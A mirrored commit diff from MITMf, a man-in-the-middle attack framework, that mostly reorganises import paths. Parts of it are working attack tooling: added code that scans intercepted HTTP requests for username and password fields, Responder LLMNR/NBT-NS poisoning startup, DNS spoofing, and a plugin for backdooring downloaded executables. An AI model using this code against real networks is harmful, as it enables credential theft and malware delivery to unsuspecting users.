mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
major dir tree overhaul
This commit is contained in:
parent
787f96d665
commit
12f610a0c3
36 changed files with 142 additions and 98 deletions
|
@ -17,7 +17,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re,sys,socket,struct,string
|
import re,sys,socket,struct,string
|
||||||
from socket import *
|
from socket import *
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import re,socket,struct
|
import re,socket,struct
|
||||||
from socket import *
|
from socket import *
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
from base64 import b64decode,b64encode
|
from base64 import b64decode,b64encode
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
from base64 import b64decode,b64encode
|
from base64 import b64decode,b64encode
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys,socket,struct,optparse,random,pipes
|
import sys,socket,struct,optparse,random,pipes
|
||||||
from socket import *
|
from socket import *
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
from random import randrange
|
from random import randrange
|
||||||
from time import sleep
|
from time import sleep
|
||||||
from subprocess import call
|
from subprocess import call
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
def longueur(payload):
|
def longueur(payload):
|
||||||
length = struct.pack(">i", len(''.join(payload)))
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
|
|
@ -15,7 +15,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -1972,8 +1972,8 @@ class SSlSock(ThreadingMixIn, TCPServer):
|
||||||
def __init__(self, server_address, RequestHandlerClass):
|
def __init__(self, server_address, RequestHandlerClass):
|
||||||
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
BaseServer.__init__(self, server_address, RequestHandlerClass)
|
||||||
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||||
cert = config.get('HTTPS Server', 'cert'))
|
cert = config.get('HTTPS Server', 'cert')
|
||||||
key = config.get('HTTPS Server', 'key'))
|
key = config.get('HTTPS Server', 'key')
|
||||||
ctx.use_privatekey_file(key)
|
ctx.use_privatekey_file(key)
|
||||||
ctx.use_certificate_file(cert)
|
ctx.use_certificate_file(cert)
|
||||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||||
|
@ -2328,7 +2328,7 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported(INTERFACE):
|
if OsInterfaceIsSupported(INTERFACE):
|
||||||
try:
|
try:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, BIND_TO_Interface)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
@ -2386,8 +2386,9 @@ def serve_thread_udp(host, port, handler):
|
||||||
else:
|
else:
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except Exception, e:
|
||||||
print "Error starting UDP server on port " + str(port) + ". Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
print "[-] Error starting TCP server on port " + str(port) + ": " + str(e)
|
||||||
|
print "Check that you have the necessary permissions (i.e. root), no other servers are running and the correct network interface is set in Responder.conf."
|
||||||
|
|
||||||
def serve_thread_udp_MDNS(host, port, handler):
|
def serve_thread_udp_MDNS(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -2440,13 +2441,15 @@ def start_responder(options, ipaddr):
|
||||||
global Basic; Basic = options.Basic
|
global Basic; Basic = options.Basic
|
||||||
global Finger_On_Off; Finger_On_Off = options.Finger
|
global Finger_On_Off; Finger_On_Off = options.Finger
|
||||||
global INTERFACE; INTERFACE = options.interface
|
global INTERFACE; INTERFACE = options.interface
|
||||||
global BIND_TO_Interface; BIND_TO_Interface = options.interface
|
global BIND_TO_Interface; BIND_TO_Interface = options.interface
|
||||||
global Verbose; Verbose = options.Verbose
|
global Verbose; Verbose = options.Verbose
|
||||||
global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth
|
global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||||
global AnalyzeMode; AnalyzeMode = options.Analyse
|
global AnalyzeMode; AnalyzeMode = options.Analyse
|
||||||
|
global ResponderPATH; ResponderPATH = "./logs/"
|
||||||
|
|
||||||
#Read the responder.conf file
|
#Read the responder.conf file
|
||||||
global config; config = ConfigParser.ConfigParser()
|
global config
|
||||||
|
config = ConfigParser.ConfigParser()
|
||||||
config.read('./config/responder.conf')
|
config.read('./config/responder.conf')
|
||||||
|
|
||||||
On_Off = config.get('Responder Core', 'HTTP').upper()
|
On_Off = config.get('Responder Core', 'HTTP').upper()
|
||||||
|
@ -2495,13 +2498,18 @@ def start_responder(options, ipaddr):
|
||||||
#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
|
#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
|
||||||
#logging.warning(StartMessage)
|
#logging.warning(StartMessage)
|
||||||
|
|
||||||
#Log2Filename = str("./logs/LLMNR-NBT-NS.log"))
|
|
||||||
#logger2 = logging.getLogger('LLMNR/NBT-NS')
|
global Log2Filename
|
||||||
#logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
|
Log2Filename = str("./logs/LLMNR-NBT-NS.log")
|
||||||
|
global logger2
|
||||||
|
logger2 = logging.getLogger('LLMNR/NBT-NS')
|
||||||
|
logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
|
||||||
|
|
||||||
#AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log"))
|
global AnalyzeFilename
|
||||||
#logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
|
AnalyzeFilename = str("./logs/Analyze-LLMNR-NBT-NS.log")
|
||||||
#logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
|
global logger3
|
||||||
|
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
|
||||||
|
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
|
||||||
|
|
||||||
AnalyzeICMPRedirect()
|
AnalyzeICMPRedirect()
|
||||||
|
|
||||||
|
@ -2530,7 +2538,7 @@ def start_responder(options, ipaddr):
|
||||||
start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
|
start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
|
||||||
|
|
||||||
print banner
|
print banner
|
||||||
#print start_message
|
print start_message
|
||||||
|
|
||||||
|
|
||||||
if AnalyzeMode:
|
if AnalyzeMode:
|
||||||
|
@ -2556,7 +2564,8 @@ def start_responder(options, ipaddr):
|
||||||
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
|
thread.start_new(serve_thread_udp,('', 88, KerbUDP))
|
||||||
thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS
|
thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS
|
||||||
thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
|
thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR
|
||||||
|
|
||||||
while num_thrd > 0:
|
while num_thrd > 0:
|
||||||
time.sleep(1)
|
time.sleep(0.1)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
exit()
|
exit()
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import struct
|
import struct
|
||||||
from odict import OrderedDict
|
from libs.responder.odict import OrderedDict
|
||||||
|
|
||||||
class Packet():
|
class Packet():
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
|
|
0
libs/sergioproxy/__init__.py
Normal file
0
libs/sergioproxy/__init__.py
Normal file
|
@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from CookieCleaner import CookieCleaner
|
from CookieCleaner import CookieCleaner
|
||||||
from DnsCache import DnsCache
|
from DnsCache import DnsCache
|
||||||
from ProxyPlugins import ProxyPlugins
|
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
class ClientRequest(Request):
|
class ClientRequest(Request):
|
||||||
|
|
||||||
|
|
|
@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO, sys
|
||||||
import plugins
|
import plugins
|
||||||
|
|
||||||
from twisted.web.http import HTTPClient
|
from twisted.web.http import HTTPClient
|
||||||
from ResponseTampererFactory import ResponseTampererFactory
|
from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
|
||||||
from URLMonitor import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from ProxyPlugins import ProxyPlugins
|
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
class ServerConnection(HTTPClient):
|
class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import logging, re, os.path, time
|
import logging, re, os.path, time
|
||||||
from datetime import date
|
from datetime import date
|
||||||
from libs.sslstrip.DummyResponseTamperer import DummyResponseTamperer
|
from libs.sslstripkoto.DummyResponseTamperer import DummyResponseTamperer
|
||||||
|
|
||||||
class AppCachePoisonClass(DummyResponseTamperer):
|
class AppCachePoisonClass(DummyResponseTamperer):
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
from sslstrip.URLMonitor import URLMonitor
|
from libs.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
class DummyResponseTamperer:
|
class DummyResponseTamperer:
|
||||||
|
|
0
libs/sslstripkoto/__init__.py
Normal file
0
libs/sslstripkoto/__init__.py
Normal file
|
@ -28,12 +28,12 @@ from twisted.internet import reactor
|
||||||
from twisted.internet.protocol import ClientFactory
|
from twisted.internet.protocol import ClientFactory
|
||||||
|
|
||||||
from ServerConnectionFactory import ServerConnectionFactory
|
from ServerConnectionFactory import ServerConnectionFactory
|
||||||
from ServerConnectionHSTS import ServerConnection
|
from ServerConnection import ServerConnection
|
||||||
from SSLServerConnectionHSTS import SSLServerConnection
|
from SSLServerConnection import SSLServerConnection
|
||||||
from URLMonitorHSTS import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from CookieCleaner import CookieCleaner
|
from CookieCleaner import CookieCleaner
|
||||||
from DnsCache import DnsCache
|
from DnsCache import DnsCache
|
||||||
from ProxyPlugins import ProxyPlugins
|
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
class ClientRequest(Request):
|
class ClientRequest(Request):
|
||||||
|
|
|
@ -18,7 +18,7 @@
|
||||||
|
|
||||||
import logging, re, string
|
import logging, re, string
|
||||||
|
|
||||||
from ServerConnectionHSTS import ServerConnection
|
from ServerConnection import ServerConnection
|
||||||
|
|
||||||
class SSLServerConnection(ServerConnection):
|
class SSLServerConnection(ServerConnection):
|
||||||
|
|
|
@ -20,9 +20,9 @@ import logging, re, string, random, zlib, gzip, StringIO
|
||||||
import plugins
|
import plugins
|
||||||
|
|
||||||
from twisted.web.http import HTTPClient
|
from twisted.web.http import HTTPClient
|
||||||
from ResponseTampererFactory import ResponseTampererFactory
|
from libs.ssltripkoto.ResponseTampererFactory import ResponseTampererFactory
|
||||||
from URLMonitorHSTS import URLMonitor
|
from URLMonitor import URLMonitor
|
||||||
from ProxyPlugins import ProxyPlugins
|
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
class ServerConnection(HTTPClient):
|
class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
|
@ -54,6 +54,17 @@ class ServerConnection(HTTPClient):
|
||||||
self.contentLength = None
|
self.contentLength = None
|
||||||
self.shutdownComplete = False
|
self.shutdownComplete = False
|
||||||
|
|
||||||
|
#these field names were stolen from the etter.fields file (Ettercap Project)
|
||||||
|
self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
|
||||||
|
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
|
||||||
|
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
|
||||||
|
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
|
||||||
|
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
|
||||||
|
|
||||||
|
self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
|
||||||
|
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
|
||||||
|
'passwort', 'passwrd', 'wppassword', 'upasswd']
|
||||||
|
|
||||||
def getLogLevel(self):
|
def getLogLevel(self):
|
||||||
return logging.DEBUG
|
return logging.DEBUG
|
||||||
|
|
||||||
|
@ -63,6 +74,18 @@ class ServerConnection(HTTPClient):
|
||||||
def sendRequest(self):
|
def sendRequest(self):
|
||||||
if self.command == 'GET':
|
if self.command == 'GET':
|
||||||
logging.info("%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host']))
|
logging.info("%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host']))
|
||||||
|
|
||||||
|
#check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
|
||||||
|
for user in self.http_userfields:
|
||||||
|
username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
|
||||||
|
|
||||||
|
for passw in self.http_passfields:
|
||||||
|
password = re.findall("(" + passw + ")=([^&|;]*)", self.uri, re.IGNORECASE)
|
||||||
|
|
||||||
|
if (username and password):
|
||||||
|
message = "%s %s Possible Credentials (%s):\n%s" % (self.client.getClientIP(), self.command, self.headers['host'], self.uri)
|
||||||
|
logging.warning(message)
|
||||||
|
|
||||||
self.plugins.hook()
|
self.plugins.hook()
|
||||||
self.sendCommand(self.command, self.uri)
|
self.sendCommand(self.command, self.uri)
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
#
|
#
|
||||||
|
|
||||||
from twisted.web.http import HTTPChannel
|
from twisted.web.http import HTTPChannel
|
||||||
from ClientRequestHSTS import ClientRequest
|
from ClientRequest import ClientRequest
|
||||||
|
|
||||||
class StrippingProxy(HTTPChannel):
|
class StrippingProxy(HTTPChannel):
|
||||||
'''sslstrip is, at heart, a transparent proxy server that does some unusual things.
|
'''sslstrip is, at heart, a transparent proxy server that does some unusual things.
|
0
libs/sslstripplus/__init__.py
Normal file
0
libs/sslstripplus/__init__.py
Normal file
18
mitmf.py
18
mitmf.py
|
@ -4,12 +4,11 @@ from twisted.web import http
|
||||||
from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
|
||||||
from libs.sslstrip.CookieCleaner import CookieCleaner
|
from libs.sslstrip.CookieCleaner import CookieCleaner
|
||||||
from libs.sslstrip.ProxyPlugins import ProxyPlugins
|
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
import sys, logging, traceback, string, os
|
import sys, logging, traceback, string, os
|
||||||
import argparse
|
import argparse
|
||||||
|
|
||||||
|
|
||||||
from plugins import *
|
from plugins import *
|
||||||
plugin_classes = plugin.Plugin.__subclasses__()
|
plugin_classes = plugin.Plugin.__subclasses__()
|
||||||
|
|
||||||
|
@ -22,13 +21,14 @@ if __name__ == "__main__":
|
||||||
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
|
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
|
||||||
#add sslstrip options
|
#add sslstrip options
|
||||||
sgroup = parser.add_argument_group("sslstrip", "Options for sslstrip library")
|
sgroup = parser.add_argument_group("sslstrip", "Options for sslstrip library")
|
||||||
sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
|
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
|
||||||
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||||
slogopts = sgroup.add_mutually_exclusive_group()
|
slogopts = sgroup.add_mutually_exclusive_group()
|
||||||
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
|
slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)")
|
||||||
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
|
slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.")
|
||||||
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
|
slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.")
|
||||||
#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet
|
#slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet
|
||||||
|
sgroup.add_argument("-i", "--interface", type=str, required=True, metavar="interface" ,help="Interface to listen on")
|
||||||
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
|
sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)")
|
||||||
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
||||||
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
|
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
|
||||||
|
@ -62,7 +62,13 @@ if __name__ == "__main__":
|
||||||
log_level = logging.__dict__[args.log_level.upper()]
|
log_level = logging.__dict__[args.log_level.upper()]
|
||||||
|
|
||||||
#Start logging
|
#Start logging
|
||||||
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S", stream=args.write)
|
logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
|
logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
|
rootLogger = logging.getLogger()
|
||||||
|
|
||||||
|
fileHandler = logging.FileHandler("./logs/mitmf.log")
|
||||||
|
fileHandler.setFormatter(logFormatter)
|
||||||
|
rootLogger.addHandler(fileHandler)
|
||||||
|
|
||||||
#All our options should be loaded now, pass them onto plugins
|
#All our options should be loaded now, pass them onto plugins
|
||||||
print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version
|
print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version
|
||||||
|
@ -80,8 +86,8 @@ if __name__ == "__main__":
|
||||||
ProxyPlugins.getInstance().setPlugins(load)
|
ProxyPlugins.getInstance().setPlugins(load)
|
||||||
|
|
||||||
elif args.hsts:
|
elif args.hsts:
|
||||||
from libs.sslstrip.StrippingProxyHSTS import StrippingProxy
|
from libs.sslstripplus.StrippingProxy import StrippingProxy
|
||||||
from libs.sslstrip.URLMonitorHSTS import URLMonitor
|
from libs.sslstripplus.URLMonitor import URLMonitor
|
||||||
|
|
||||||
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
||||||
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
||||||
|
|
|
@ -21,7 +21,7 @@ class AirPwn(Plugin):
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.mon_interface = options.mon_interface
|
self.mon_interface = options.interface
|
||||||
self.aircfg = options.aircfg
|
self.aircfg = options.aircfg
|
||||||
self.dnspwn = options.dnspwn
|
self.dnspwn = options.dnspwn
|
||||||
|
|
||||||
|
@ -134,5 +134,4 @@ class AirPwn(Plugin):
|
||||||
logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain))
|
logging.info("%s >> Spoofed DNS for %s" % (response.src, req_domain))
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
options.add_argument('--miface', type=str, dest='mon_interface', help='Interface in monitor mode to use')
|
|
||||||
options.add_argument('--dnspwn', type=str, dest='dnspwn', help='Enables the DNSpwn attack and specifies ip')
|
options.add_argument('--dnspwn', type=str, dest='dnspwn', help='Enables the DNSpwn attack and specifies ip')
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from libs.sslstrip.ResponseTampererFactory import ResponseTampererFactory
|
from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
|
||||||
#import threading
|
#import threading
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -24,7 +24,7 @@ class FilePwn(Plugin):
|
||||||
name = "FilePwn"
|
name = "FilePwn"
|
||||||
optname = "filepwn"
|
optname = "filepwn"
|
||||||
implements = ["handleResponse"]
|
implements = ["handleResponse"]
|
||||||
has_opts = True
|
has_opts = False
|
||||||
desc = "Backdoor executables being sent over http using bdfactory"
|
desc = "Backdoor executables being sent over http using bdfactory"
|
||||||
|
|
||||||
def convert_to_Bool(self, aString):
|
def convert_to_Bool(self, aString):
|
||||||
|
@ -38,7 +38,6 @@ class FilePwn(Plugin):
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.filepwncfg = options.filepwncfg or "./config/filepwn.cfg"
|
|
||||||
|
|
||||||
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
|
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
|
||||||
'application/x-msdos-program', 'binary/octet-stream']
|
'application/x-msdos-program', 'binary/octet-stream']
|
||||||
|
@ -48,7 +47,7 @@ class FilePwn(Plugin):
|
||||||
#NOT USED NOW
|
#NOT USED NOW
|
||||||
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||||
|
|
||||||
self.userConfig = ConfigObj(self.filepwncfg)
|
self.userConfig = ConfigObj("./config/filepwn.cfg")
|
||||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||||
|
@ -290,6 +289,3 @@ class FilePwn(Plugin):
|
||||||
else:
|
else:
|
||||||
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
|
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
|
|
||||||
def add_options(self, options):
|
|
||||||
options.add_argument("--filepwncfg", type=file, help="Specify a config file [default: filepwn.cfg]")
|
|
||||||
|
|
41
plugins/Responder.py
Normal file
41
plugins/Responder.py
Normal file
|
@ -0,0 +1,41 @@
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import *
|
||||||
|
from libs.responder.Responder import *
|
||||||
|
|
||||||
|
class Responder(Plugin):
|
||||||
|
name = "Responder"
|
||||||
|
optname = "responder"
|
||||||
|
desc = ""
|
||||||
|
has_opts = True
|
||||||
|
|
||||||
|
def initialize(self, options):
|
||||||
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
|
self.options = options
|
||||||
|
self.interface = options.interface
|
||||||
|
self.ip_address = None
|
||||||
|
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
sys.exit("[-] Responder plugin requires root privileges")
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.ip_address = get_if_addr(options.interface)
|
||||||
|
if self.ip_address == "0.0.0.0":
|
||||||
|
sys.exit("[-] Interface %s does not have an IP address" % self.interface)
|
||||||
|
except Exception, e:
|
||||||
|
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||||
|
|
||||||
|
start_responder(options, self.ip_address)
|
||||||
|
|
||||||
|
def add_options(self, options):
|
||||||
|
options.add_argument('--analyze', dest="Analyse", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
|
||||||
